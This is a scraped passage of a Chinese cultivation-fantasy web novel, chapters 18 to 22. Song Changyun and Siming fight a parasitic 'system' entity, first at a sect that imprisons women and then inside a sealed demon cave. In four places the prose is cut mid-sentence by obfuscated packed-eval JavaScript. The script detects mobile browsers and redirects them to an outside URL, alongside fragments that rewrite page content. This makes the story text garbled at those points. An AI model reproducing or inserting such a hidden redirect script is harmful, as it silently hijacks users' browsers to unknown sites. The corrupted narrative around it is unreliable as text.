她们的队伍在不断壮大,识海中被种下阵法烙印的人能够将烙印散播出去,它的影响只会越来越小。 18.第 18 章 是夜,宋长云拆开师妹传回来的书信。她看着信中师妹絮絮叨叨地写了自己这些时日去了哪里,结识了什么人,前阵子学的阵法又精进了许多,已经能帮到其她人。 信的最后还带着一个沈春野从不同地方寻到的新奇玩意儿,说是给师姐和师尊的礼物,托宋长云替她将另一份交给罗翊天。 宋长云笑了一下,将自己那份礼物仔仔细细地收好,又把信放到匣子里。 她唤来一只灵鸟,将另一份礼物交给它,喂了它些吃食,灵鸟便振翅朝着另一座峰飞去。 夜已深,宋长云躺下准备入睡。 心里装着事,宋长云睡得并不沉。朦朦胧胧间好似听到有什么在她耳旁低语—— “和我做个交易吧。” 宋长云在半梦半醒间惊醒,下意识提剑环视周围,却什么都没有发现。 以她如今的境界,加之灵根的特殊性,如果有人想要靠近,宋长云不可能发现不了。 能让她毫无所察的,要么是境界远高于她,要么……就是没有实体的它。 ——“和我做个交易吧。” 宋长云再次听到了那道声音,语调有些诡异。 那声音极轻,却分毫不差地传入宋长云的耳朵,像是有人凑在她身边耳语。 宋长云却笑了起来。 它已经无法再次占据她的身体。 她难得有了心思,问道:“你想交易什么?” “绑定我,我能让你得到一切你想要的。” 宋长云不语,只是望着某处不知道在想什么,似乎是被它的诱惑打动。 于是那道声音便继续在她耳边劝道:“你难道不想飞升吗?修仙界已经几千年没有人飞升成功了,绑定我,我能帮你飞升,到上界去做逍遥仙人。只要你想……” 它还想继续引诱,忽然听到一声轻笑。 “你对容昭也是这么说的吗。” 如果它有足够让人飞升的能力,容昭又怎么会被她杀死,变成一滩肉泥,最后尸骨无存。 “那只是因为他太蠢了,你不同。”原本没什么感情的声音里终于带了点起伏,“你——” 话还未说完,宋长云忽然抬手朝着一个方向抓去,灵力汇聚在掌心,最后虚虚握着,像是什么东西都没有抓住。 只有宋长云知道,她手中抓着一团东西,它在她手中不断挣扎,发出凄厉的哀嚎。 ——它并不是没有实体。 宋长云意识到。 只是肉眼无法看见。 那团东西被她禁锢在手中,原本挣扎的动作忽然停下,之后,宋长云手中一空,那东西在她手中消失了。 宋长云猜的没错,她捉住的,并不是它的本体,而是它的分身,或者其它类似傀儡的东西。 不过没关系。 这恰恰说明它也会死,它也怕死。 不管它到底是谁,不管它到底是个什么东西,都有被杀死的可能。 宋长云立刻动身去找江离忧。 江离忧已经接任青云宗掌门一职,此刻,她正在容昭曾经的房间,试图寻找一些蛛丝马迹。 “师姑。” 身后有人过来,江离忧一早便察觉到宋长云的气息,头也没回地应了一声。 宋长云走到她身边,问道:“可有发现什么?” 江离忧摇摇头。 不管是容昭的房间还是他曾经用过的储物法器都非常干净,不仅找不出有关它的线索,甚至没有留下他曾经谋害应璃真她们的罪证。 不知是容昭处理得干净,还是它后来处理的。 江离忧皱眉看向宋长云:“你怎么不好好休息。” 那日宋长云与容昭一战,虽然最终容昭死在破云剑下,宋长云却也受了不小的伤。 “已经没什么大碍了。”宋长云说。 江离忧大概是怕她再走一次如百年前一般重伤之后被夺舍的路,对她的身体格外忧心,每日送来许多补药不说,几乎什么事都不叫她亲自动手。 自己的身体宋长云再清楚不过,她没有多与江离忧纠结这件事,将方才的事情与江离忧说了。 “你抓到了它的实体?” “嗯,不过不是本体,被抓到后便被它放弃了。” 它的实体肉眼无法看见,消失后也不知道有没有留下什么残渣。 江离忧低头陷入了沉思。 宋长云没有打扰她。 她抬头看着这间房间,奢华异常,难怪容昭不喜别人靠进他的府邸。 原来是怕人发现他不如面上一般清风霁月。 容昭尸骨全无,没有人给他立衣冠冢,更没有牌位供奉。不知道他曾经听它那般蛊惑时是否想过现在的结局。 “那日在清水门,你有没有与他对上?” 清水门,便是之前因为被它用来布噬魂阵而全宗覆灭的小宗门。 宋长云点头:“我顺着灵力的走向找到了它,将它寄生的人杀死后它便没了踪迹。后来查验的时候发现那具男尸在此之前便已开始腐烂,似乎已经死了有些时候了。” “男尸……” 江离忧从自己的储物戒中拿出了几样卷宗,展开递到宋长云面前。 “这是这段时间我派人去其它地方打探的,除了容昭,它似乎还寄生过别的人。” 宋长云接过卷宗仔细看过,那上面记录了修仙界近几百年来大大小小的异常,这些事件并未像应璃真她们一样闹得满修仙界皆知,却与有与她们相似的结局。 都是一些女修以自己的血肉去供养一个男子。 从前查这些事很难,容昭死后,它的力量似乎也有所减弱,加上阵法的作用,不过几日,递到她面前的事件便堆满的桌案。 宋长云皱眉看完了卷宗。 这些事件里,受害者都是女子,而获利者却都是男子。 “它只能寄生在男子身上?”宋长云说出了自己的疑问。 “或许是。” 兴许是只能寄生男子,也可能是因为只利好男子,所以总与男子共生。 宋长云无法理解。 她只觉得那东西越发该死。 - 几日后,宋长云收到尉迟燎的传信。信中言说她已经与师妹汇合,准备回去煅金阁。 宋长云想了想,将“它”有实体但肉眼无法看清的事情写在信中送了出去,想问问尉迟燎她们有没有什么办法,或者能否炼制相关的法器。 距离它逃走已经过了许多时日,迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15049821|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟找不到它,宋长云担心它利用这段时间恢复元气再去祸害其她人。 只是自清水门之后,她们便再也没有发现过异动,也没有如清水门一般的事情再传出来。 姽婳习惯了隐藏在暗处,在宋长云身边也不常现身。宋长云本想叫她出来问问司命那边的情况,想了想,起身,决定去妖域一趟。 妖域里,司命此刻正在特制的牢房内,听着耳边与前些日子如出一辙的咒骂,不甚在意地弹了弹指甲。 咒骂了她这么多年,这老东西不嫌累,她听都听累了。 骂来骂去也只是反反复复的那几句,诸如“不孝”“罔顾天道”云云。 毫无杀伤力。 只是她始终无法从他嘴里得到有用的信息,这让司命有些不耐烦。 倒也不是她这位父亲是个多忠贞的人呢,只是他似乎被下了什么禁制,导致他无法开口。 司命叹气。 她看着他一副歇斯底里的模样,和记忆最初里,在母亲身边温柔小意贤惠知礼的样子判若两人。 他便是用那副样子骗了母亲。 “你的旧部已经被处理掉了,没人能救得了你了。” 大敌在前,司命也懒得再看那群蝼蚁在眼前蹦跶。 她说完,没理会他目眦欲裂的表情,径自将他封印回去随身的指骨里,走出了牢房。 太阳高悬在空中,今日是个很好的天气。 有人在她殿里等着,司命便没在外面多停留。 这段时间司命派出去不少花虏替她打探消息,也联络了不少在外的族人,却没有得到什么有用的消息。 宋长云的消息虽然有用,但对于如何寻到它也依然毫无头绪。 “它在修仙界蛰伏了那么多年,我们无法轻易寻到倒也正常。” 若是被她们轻易寻到,前面等待她们的,只有可能是陷阱。 就如前些时日前往清水门的宋长云所遇到的一般。 “不过我听说,南边似乎有些异动。”司命忽然想起一件事,说与宋长云。 异动虽然不是它制造的,却是与它有关。 在阵法的作用下,修仙界中原本被它种下的印记操控的人,都渐渐恢复了清醒。 那道印记会影响修士的修为,有许多人如沈春野一般被它影响了心境,印记消除之后才得以破镜。 许多人对它恨之入骨,这时却有人一撮人聚集起来,说要追随他。 “那群人中多是男修。” 宋长云讶然:“也有女修?” 司命点头:“女修多是他们中人的道侣。” 是一些仍在被印记影响的人。 临走时,宋长云对姽婳说:“姽婳便留下吧,阿肆这里更需要人。” 她仍然怀疑那抹被封印的魂魄。 “你要去南方?” 宋长云不置可否。 “我随你一起。”司命说。 它极有可能在那群人中伺机而动,而不久前它还试图寄生宋长云。 说得好听是寄生,一旦宋长云被它迷惑选择了同意,好一点的情况便是如百年前一般被夺舍,但没了容昭,它现在的目的怕不会是那么简单了。 “你一个人我不放心。” 19.第 19 章 那群人聚集在南方的一个小镇上,自称阳元宗。 宋长云与司命二人乔装混进小镇,找了间茶肆坐下来。 旁边人的议论声传进她们的耳朵,两人凝神听了一会儿,被派出去打探消息的玲珑卫四人也回来了。 灵风镇是一座由修者聚集起来的小镇,那自称阳元宗的门派里都是各地投奔而来的男修,他们中大都是没有门派倚仗的散修,再就是在宗门中得不到什么资源的外门徒子,修为最高的也只是元婴初期。 原本这样的规模掀不起什么大风浪,可有人听说阳元宗的掌门是一位修为接近渡劫期的大能。 自从以应璃真为首的几位渡劫期大能相继陨落之后,整个修仙界的修行似乎都陷入了停滞,合体境以上的修士原本就屈指可数,到如今也只剩那么寥寥几个了。 司命皱眉:“不是我妖族之人。” 若是妖域中人,她定然能收到消息。 修真界也未传出那位大乘期的修士叛离宗门的事情。 宋长云决定去那个所谓的阳元宗看看。 为了避免麻烦,几人没再乔装,选择隐匿了身形,跟在了一队正要前往阳元宗的修者身后。 小镇不大,那队人却走了很远,七拐八绕才终于找到了阳元宗门口。 二人立刻明白是其她修士口中那位“修为接近渡劫期的大能”在此设下了结界。 宋长云此时的修为已经接近半仙,自然有法子叫结界阵法毫无所察地混入其中。 “他们识海中没有它的印记。”司命说。 也没有她们的阵法烙印。 阳元宗的一切都是他们自发的。 这时有两位女修来到阳元宗门口,表示自己也想加入阳元宗。 门口几人上下扫视二人几眼,轻蔑道:“我们阳元宗只招收男修,尔等速速离开。” 女修不服:“我们可听说了,阳元宗内招了不少女修呢!” “那几个只是门内人的道侣,算不上宗门中人。”那人笑了一下,表情有些奇怪,“若你们……” 没等他将话说出口,其中一位女修已经抬起手狠狠给了他一拳。 二人最后自然被赶出了阳元宗的结界内,宋长云与司命听见她二人边走边抱怨。 “还以为能混进去探查些什么呢。” “没办法,以后再找机会吧。” 宋长云心下微动,担心她们被阳元宗的人报复,抬手,将两道灵力分别注入了二人体内。 在阳元宗内探查了一圈,宋长云与司命没有找到那位宗主的踪迹,但察觉到了一丝与容昭相似的气息。 那股气息应当就是属于它的。 这个阳元宗确实与它有关。 门内人虽然已经聚集了不少,但大都不成气候。即便如此,宋长云她们也不会放任他们不管,既然是追随它的,想要修的自然不是什么名门正道,若她们对此不闻不问,日后不知会被它养出多少个容昭。 宋长云不打算容后再议,他们既然已经明确表明了态度要追随那个为祸修仙界的东西,她们的态度也应该更加明了。 她抬手,破云剑未出,只凭灵力便轻易将阳元宗的结界破了。 阳元宗暴露在小镇中。 门内人还未来得及反应,忽然觉得身体好似不受自己控制,立在原地动弹不得,紧接着,有什么极细小的东西进入了他们的身体。 他们惊恐地想运用灵力阻挡些什么,却无济于事。 另一边,宋长云破开结界的瞬间,细小如花粉般的东西从司命身上飞出,飞快地融进阳元宗人的身体里。 宋长云看向司命,两人相视一笑。 司命给他们种下的,类似一道禁制,从此以后修为再难提升,若是想强行用什么其它法子来提升修为,便会灵力逆转,将一身原本的修为也废去了。 怎么就只允许他们受益,不允许她们给他们添上些许麻烦呢。 她们没再管那些惊疑不定的男修,转身去寻传闻中的那几位女修。 二人是在一间昏暗狭小的房间里找到的她们,她们一个个被锁着脚镣,神情麻木,浑浑噩噩像是被抽干了浑身的修为。 门被打开,阳光骤然照进来,她们下意识朝着光源看过去。 二人将她们的脚镣打碎,朝她们伸出手。 “你们想要留下,还是跟我们走?” - 那几名女修原本是被洗去了识海中的印记的,只是对自己的道侣没有防备,一时不察遭了黑手。 她们原以为不会有人来救她们了。 她们跟着二人回到了青云宗,江离忧了解了她们这几日去了何处做了何事,没有多说什么,派人给她们安排了房间。 现在人手不够,司命便安排了花虜照看她们。 将几人安顿好出来,两人望着远方层层叠叠的云,沉默片晌。 司命冷笑:“以前它还会加以伪装,现在连装都不装了。” 直接将那么多人囚禁了起来。 而那些阳元宗里的人,起码她们曾经的道侣,是知道真相的。 “真该杀了他们。”司命说。 只是被设下禁制,便宜他们了。 宋长云没接话,她在思考它的目的。 为什么要吸血女修来补给男修? 应掌门她们……她的母亲们曾发现“它”来自于异世,这个异世是一个怎样的异世?它又是通过什么手段来到这个世界的?它或者它属于的那个世界,想要的只是她们的修为吗? 人皇宫殿外那一道道阵法是谁设下的?是为了保护人皇亦或者是出于其它目的。 宋长云将自己的疑惑说了出来。 司命思忖片晌,道:“前些时日去拜访人皇时,仔细查验过那些阵法。” 那些阵法没有恶意,只负责守护人皇。 “应当是前辈们为了保护历代人皇设下的。” 她们是修士尚且自保不及,中了它的阴毒招数,更遑论没有修为的凡人。 “凡人没有修为,它想从人皇身上得到什么呢?” “……气运。” 它想要在这个世界创造一个如同话本中一样的主角,一个受“天道”庇佑的气运之子。 先前它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15054629|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮容昭掠夺了那么多人,即便有前辈们布局在先将自己的一部分提前转移到了宋长云身上,容昭的修为也不该只是到了大乘境,迟迟无法再往上。 可见被掠夺的中有相当一部分被它拿去了。 “它到底想做什么?” 它现在无法再从她们身上窃取能量,走投无路下会做什么? ……魔族。 二人对视一眼,都是面色凝重,下一刻立即动身前往魔窟。 “封印有所松动。” 魔窟的封印是数千年前数位当世大能竭尽全力而成,现在仅凭她二人之力无法修补。 二人加上玲珑卫共六人守在入口处,各自给宗门和族人去了信。 如果它为了窃取这方世界为了窃取她们的气运而帮魔族逃离魔窟,让这个世界陷入混乱…… 她们不会允许这种事情的发生。 在其她人来之前,宋长云几人先检查了封印松动的源头。 为了防止封印破裂、魔族再次逃出来为祸世间,修仙界每隔十年都会派人来附近修补封印。正常情况下不会出现这种封印忽然之间松动的情况。 如果有人想要破坏封印,修仙界也应该会收到异动及时补救。 思索间,已经有许多人从远处匆匆赶来,有妖族也有人族,所有得到消息的人,不论修为高低,不论先前是否存在龃龉,都第一时间用最快的速度赶来。 魔族现世,对任何人来说都不是好事。 以司命为首的妖族和以青云宗为首的人族齐齐整整地列队,严阵以待。宋长云与司命对视一眼,往前一步,双手结印。 身后所有人跟随她们的动作,数道灵力齐齐发出,汇聚在魔窟封印的松动处。 封印的裂痕被缓慢修补,众人还未来得及欣喜,就感受到一丝不对。 封印似乎在吸取她们的灵力。 江离忧脸色一变,大喝道:“快停下!” 然而其她人面露苦色,她自己也无法轻易中断。 宋长云在封印中感受到了一缕熟悉的气息,她强行中断了输送出的灵力,抽出破云剑朝着一个方向飞身而去。 所有人的灵力都被聚集到了这里,魔窟松动暴露出来的缺口,便是它的藏身之地。 怪不得即便有所松动也没有任何一只魔逃出来作乱。 封印的松动根本不是为了放出魔族,而是为了让她们在修补封印之时主动把能量输送给它。 灵风镇闹得沸沸扬扬的阳元宗,也只是它放在人前的障眼法,为了替它拖延时间将魔窟封印扯出一个细小的缺口。 宋长云闪身而上,汇聚了全力的一剑斩断了众人灵力与它的连接。下面的众人看不见宋长云砍了什么,得以自由后有些人已经脱力倒在了地上。 连接中断后,宋长云立刻朝着“它”的方向挥出另一剑。那股熟悉的气息堪堪躲过,并未恋战,闪身躲进了魔窟中。 宋长云毫不犹豫地追了进去。 众人骇然变色,司命下意识便要追上去,下一秒,坠在腰间的指骨忽然光芒大亮,司命毫无预兆地面色骤然惨白,吐出一口血。 20.第 20 章 魔窟内关押的是被封印了几千年的魔族,乍然有活人进入,沉寂已久的魔们立刻沸腾了起来,伸出爪牙想要抓住追进来的宋长云。 进入魔窟之后,“它”似乎变得不再如从前一般无法用肉眼看到,隐约能看见一团似是光球的东西在无数利爪中间来回穿梭。 宋长云执剑砍断朝自己伸过来的魔爪,避开冲撞过来的魔族,用灵力给自己加了个防御结界,全力朝着那团光球追去。 引诱她进了魔窟之后,那它却未对她进行攻击,只是一味逃窜。宋长云神情紧绷,破云剑从她手中脱离,剑光大盛,飞速朝着光球刺去。 今天它必须死在这里。 融合了问心的破云剑以极快的速度飞向系统。光球形态的系统飞速躲闪,利用周围不断扑来的魔,试图阻碍破云剑的攻势。 然而不管多少魔前赴后继都无法将它与剑之间的距离缩短,几次堪堪躲过攻来的灵剑,凌厉的剑气打在它身上,本就模糊的光芒更加暗了几分。 等它终于停下,身后的剑像是插-入了什么黏稠的东西之中,速度慢了下来,直到停在离它几寸远的地方。 宋长云也无法再前进半分。面前凭空出现一堵墙壁似的,将她与它隔绝开来。 她召回破云剑,顺势一剑劈下去,面前的“墙壁”没有丝毫动静,她们之间依旧被阻隔着,身后的魔们追上来,嘶吼着想要把她撕碎。 这些魔大都是一些低等魔,宋长云撑起一道护身灵盾,结界张开,将它们都弹了出去。 她的目光一瞬不瞬地盯着白色光球下方的位置。 那里沉睡着魔族的王,是魔窟封印最核心的位置。 宋长云握着剑的手紧了紧。 魔王被封印沉睡一日,魔窟中的魔便都只是一些低等的魔。它们的力量与魔王息息相关。 “来与我做个交易,如何?” 宋长云又听到了那个声音。 “你想要什么?” “我想要……想要你。你的修为,你的气运,你的命。” 它的声音原本是毫无感情起伏的。但在它说出我想要的时候,宋长云仿佛在那无机质的声音里听出了一丝贪婪。 “如果我不给呢?”宋长云反问。 白光忽然冷笑,它的声音开始变得尖锐。 “你没有选择。今天不管你愿不愿意,你的命都要留在这里,你身上的东西我必须得到。”系统说,“如果你主动交出来,我会放过外面那群人,但如果你抵死不从,那我只能……” 它的下方是一团庞然大物,身躯随着呼吸起伏,有烟雾状的东西时不时喷出,似乎是它的鼻息。 几千年前的修仙界牺牲了几位渡劫期大能才堪堪将魔王封印,把魔族赶进魔窟中与修仙界彻底隔绝。 而现在的修仙界早已在它的搅动下变得千疮百孔,几位渡劫期大能相继陨落,如今连大乘期的修士也只剩下寥寥几个。 如果魔王在此时苏醒,修仙界已经没有足够的力量再一次将它封印。 “那我还要感谢你给修仙界留下生的机会了。” 原本长久沉默的宋长云忽然笑起来。 系统不知道她为什么会在这种时候突然笑起来,没来得及做出反应,下一刻只看见一道极为刺眼的剑光,原本隔在两人之间黏稠的墙壁霎时被劈开,而后锋利的剑尖刺入它光球一般的身体。 宋长云面无表情地将剑又刺入了几分。 她才不会相信它那套只要她自愿赴死交出自己身上所有的资源它就会放过修仙界的鬼话。 修仙界堕落成如今这样就是它一手造成的,它贪婪又毫无底线,牺牲自己喂养它只会增长它的野心。 况且,魔窟向来只能进不能出。 现在它再想要出去,只能破坏掉结界。 从追入魔窟的那一刻,宋长云便没想过再出去。要么杀死它后永远地留在魔窟里,要么与它同归于尽。 若是系统有人脸,宋长云应该能看到它精彩的表情。 它没有痛觉,却因为感受一股不可控的强大力量而感到惊惶。 宋长云远比它想象中的强大。 明明它已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15059225|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经吸走了她的一部分力量,却还是低估了她。 光球远比人体要坚硬。长剑刺入的速度极为缓慢。宋长云用灵罩束缚住它防止它逃走,而后几乎将体内所有的灵力汇聚在破云剑。 系统即将被刺穿的那一刻,破云剑所指的方向忽然一空,原本如人头般大小的光球忽然变成数个极细小的光点,挣脱了宋长云的桎梏,朝着下方的魔物飞去。 宋长云迅速反应过来凝聚灵力,挡在魔王封印与光点中间,数道剑气齐发逐个朝着光点劈去。 变故发生前,宋长云只听见一句它扭曲的大喊。 “这是你逼我的——” - “殿下!” 司命毫无预兆地倒下,玲珑卫四人惊慌地上前,不顾自己被它吸食灵力的亏空强行向司命输送灵力。 姽婳看着面色惨白的司命,心下惊怒交加。 她想起数百年前的前任妖皇。 那时主上正值壮年,修为极高,肆意洒脱,也许过不了多久便能飞升,那之前甚至从未受过重伤。 那一日的情形,也是如现在一般。 原本还在与她们说笑的主上毫无预兆地倒了下去,昏迷数日后,再也没有醒来。 与此同时,原本修为还不如那时小殿下的王夫忽然功力大涨,越过小殿下继任了王位。 她们查不出他到底对主上做了什么,但主上的死一定与他有关。 于是她们带着小殿下悄悄蛰伏,等司命终于成年,有了独当一面的能力后,杀死了王座上那位,夺回了原本就属于司氏一族的王位。 随着极细微的咔嚓声,被司命坠在腰间的指骨忽然出现裂痕,一缕黑气从里面跃出,直直奔向司命体内。 姽婳咬牙,拼着身形俱灭的风险挡了上去。 挡在司命身前的不只有她一人,玲珑卫同出一源的力量融合在了一起。 她们与碧血琼英相伴而生,守护殿下是她们天生的职责。 她们不允许同样的事情在自己面前发生两次,即便身死,即便永远失去复生的能力。 21.第 21 章 人间皇宫。 人皇正在批阅奏折。伏案许久,一旁的侍从温声提醒她要注意休息。 人皇淡淡地应了一声,又过了许久,才终于放下手中的毛笔,抬手按了按有些酸胀的额角。 “几时了?”她问道。 “回陛下,已至子时,陛下该安寝了。” 天色早已沉了下来。 人皇点头,起身准备回寝殿。 侍从打开御书房的门,人皇抬脚刚要踏出去,忽然有一道力量挡在她面前。那股力量强大却温和,只是将她与前方隔开了些许距离,并未伤到她。 人皇抬头看向漆黑的天空,对这股力量并不陌生,自她诞生起,这股力量便存在于皇宫之中。 起初她被顽劣的皇姐恐吓,以为自己遇上了什么鬼怪。母皇叫她不要怕,说这是仙人在保护她。 原本平静的夜空惊雷炸响,人皇无端忧虑了一天的心开始狂跳。 要发生什么了。 人皇仰首看着似是染上一抹暗紫色的月色,对身旁的侍从吩咐道:“去将仙人所赠的弓箭取来。” 那弓箭已经供奉了许多年,母皇告诉她那是先祖在世时仙人所赠,要历代人皇世世看守,直至月色骤变的那日。 那张弓比寻常的要大上许多,要三名守卫才能提动。人皇伸手,轻易举起了这把被供奉了许多年的神弓。 她上前,挽弓搭箭,箭尖所指,是那颜色异常的月亮。 人皇并不知道仙人为何要让她在此时用这把弓射向月亮。她只是无法修行的凡人,饶是再天生神力,也无法用区区弓箭将月亮射下来。 母皇曾说这一箭或许能庇佑天下苍生,那她便依仙人所言,不问其它。 手离弦,箭矢射出,直直地朝着遥远的月亮而去,最后消失在视线中。 漆黑的夜里,宫殿四周忽然光芒大盛,繁复的阵纹骤然亮起。 人皇望着远方,长久沉默。 刚刚的那一刻,她似乎感受到有什么东西自她身体中脱离,融入箭矢被她射出。 她仿佛能感受到早已脱手箭矢的移动,先是异于常态的长久飞行,而后穿过了什么,在一片浓雾中四处穿梭,终于射中它既定的靶心。 - 指骨中的封印在众人被系统毫无所觉地吸走灵力时悄然碎裂。 被压抑许久的灵魂趁机出逃,他狰狞着,想要扑向早已不省人事的司命。 她毁了他的肉身,那便还他一具更年轻更强大更适合修炼的,也更名正言顺坐上那王位的—— 玲珑卫四人挡在面前的时候他并不在意,“它”早已赠予了他一部分力量,现在的他已经不是那个能被司命轻易杀死的名不正言不顺的妖皇,更不是从前那个柔弱可欺的小小王夫。 他根本不将四人全力结成的结界放在眼里,化为一缕黑烟就要钻进司命的身体,却在触碰到结界的那一刻再也无法向前。 他不可置信地想要再次尝试,却见原本属于玲珑卫四人的结界之上覆上了一层庞大的灵力。 司命不知何时已经睁开了眼,她将挡在她身前的四人拨开,起身站在了前面,目光死死锁住了那魂魄,在他反应过来之前便已抬手将他禁锢住。 他怎么会以为这么多年来她对他毫无防备,又怎么会以为他依然能像从前一样轻易成功。 回过神来的妖族众人早已站在了她的身后。 那缕黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061771|162151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟早已化成了他原本的人形,半透明的魂魄被司命的灵力死死禁锢,强大的威压压下,落在他失去肉身的魂魄上,如同从前司命在他身上施加过无数次的刑罚一样痛不欲生。 “你被它放弃了。”司命淡声道。 他只有这一次机会。成功了便能取代她成为新王,可惜他失败了。 魔窟是它走投无路的下下策。现在的它尚且自顾不暇,更不可能有余力给它这位废物父亲再来一次的机会。 施加在他身上的灵力逐渐收紧,灵魂被不断压缩,魔窟外尽是他从灵魂那发出的凄厉尖叫。 掉落在地上的指骨化为齑粉,手下的灵魂发出最后一声哀嚎,终于彻底消失在这个世间。 司命垂下眸。大仇得报,她心中却无半点松懈。 她转头看向魔窟。 那里面的才是她真正的仇人。 司命站在了江离忧身侧。 她面色依旧苍白,眼神却无比沉静。 “结阵。” 话落,以玲珑卫为首的妖族众人变换身形,灵力汇聚,输送向阵首的妖皇。 在场的人修亦是如此。 原本力竭的修士们也强撑着身体站起来,交付出自己的力量。 她们都知道此刻的付出是为了什么。她们知道它的存在对她们、对修仙界来说都是一场灭顶之灾,她们知道仅凭自己的力量无法与之抗衡。 她们也当然知道义无反顾追进魔窟的宋长云会遭遇什么。 两道强悍的灵力同时越过结界进入魔窟。 与此同时,一只箭矢带着浩瀚的紫气破空而来。 它们所指的方向,是此刻深陷魔窟替她们与它对峙的宋长云。 22.第 22 章 魔窟中。 光球分裂出来的光点极多,立刻散在了空间中的各处。数道剑气飞来将它们与下方的庞然大物阻隔,却有一丝光点逃出,降落在了满是褶皱的皮肤上。 被宋长云的结界弹出去的低阶魔们逐渐开始变得暴躁,尖利的爪牙变长,眼神变得更加嗜血。它们的目光齐齐盯住这里唯一的活人宋长云,像是感受不到痛觉一般疯狂地撞上灵力凝成的结界。 沉睡的魔王苏醒。 一群魔物的嘶吼中,宋长云听见它猖狂的笑声。 “等死吧,你们所有人,通通都等死吧!” 宋长云体内灵力已经所剩不多。 在魔窟外时便已经被它抢夺了一部分,进来之后撑起灵罩阻挡魔物的攻击,无时无刻不在消耗着灵力。 所幸,刚刚苏醒的魔王实力也不是它的巅峰时期,它的本体也已经被宋长云刚刚的一剑消灭了大半。 尚有一战之力。 宋长云手持破云剑,在魔王彻底苏醒之前,率先攻过去。 一面进攻,宋长云一面思索着。 她无法确定击败魔王之后它会不会再次逃脱,就像曾经容昭死亡时那样。 它明明已经退无可退,从最开始的目的——夺取她们的能力与气运——极端成如今唤醒魔王企图灭世。 它为何一定要如此?它从异世而来,即便掠夺失败也可以随时回去,而不是留在这里和她们拼个同归于尽。 它的所作所为,它的掠夺,是为了自己,还是为了别的什么? 它为什么会掌握那等掠夺她人的邪术,为何会强大到能影响那么多人,即便是渡劫期的大能都躲不过。 宋长云无法理解这种所谓的修炼捷径。 魔王身躯庞大,动作却并不算缓慢。它的皮肤坚硬无比,即便是破云剑想要刺破也无比艰难。 宋长云身形变换,躲过它的攻击,试图找到它的弱点。 不能久战,若是等到魔王完全苏醒,那时对整个修仙界、对人间才是真正的噩梦。 手上的攻势更加凌厉了几分,魔王被她激怒,在它的影响下变得更加暴怒,其它魔也更加疯狂起来,内外夹击,宋长云撑起的灵罩变得岌岌可危。 随着时间的推移,宋长云渐渐有了不敌的征兆。 体内灵力消耗巨大,魔窟中天然不适合修士作战,每一时每一刻,连呼吸都在耗费灵力。 她一时不察被魔王钻了空子,身体被拍在本就摇摇欲坠的灵罩上,灵罩霎时出现裂痕,魔气顺着裂痕流窜,灵力罩开始崩裂。 耳边是无数魔物兴奋的嘶吼,瞬间扑来的魔几乎要将宋长云淹没。 身体是撕裂般的疼痛。 若是她败了,外面的人怎么办呢。 她们有的人才刚刚醒来,明明应该有更好的未来。 她承载着无数个曾经被迫牺牲的前辈们的希望,她们布局谋划那么久,只是让她死在这片空虚的魔窟,重新成为它的养料吗。 ——怎么可能。 她被她们亲手创造,承载着她们的遗志与希望。 怎么可以这么轻易地倒下。 不断有魔物扑上来试图分食宋长云的血肉,从远处看来俨然成了一团由无数黑点组成的魔球。魔王已经停下了动作,接收着从低等魔身上传送过来的力量。 原本持剑的人被团团包围,系统觉得结局已定,狂喜地等待着自己即将疯涨的能量值。 那团黑球中却陡然出现一道白光。 白光迅速散开,扑在上面的魔甚至没来得及哀嚎便被撕裂成碎片,下一刻那白光便朝着魔王攻来。 魔王抬手去挡,这一次,它被削掉了右爪。 魔王震怒哀嚎,它想要去攻击宋长云,原本被淹没的宋长云却不见了踪影。 系统骇然。 那种情况下宋长云竟然还能活下来,不仅活下来,甚至比之前更强了。 魔王甩着血淋淋的断爪,完好的左爪不断抓过旁边的低阶魔族塞入口中,断爪开始生长。 系统在一片惊惶中寻找着宋长云的方向。 ——逃了吗? 不,她不会逃。 在魔族的惨叫与嘶吼中,系统忽然怔住。 一柄长剑刺入了魔王的左胸。 破云剑扩大了数倍贯穿过魔王的胸膛,而后飞回宋长云手中,变回了原来的样子。 宋长云不知道什么时候出现在了它们身后。 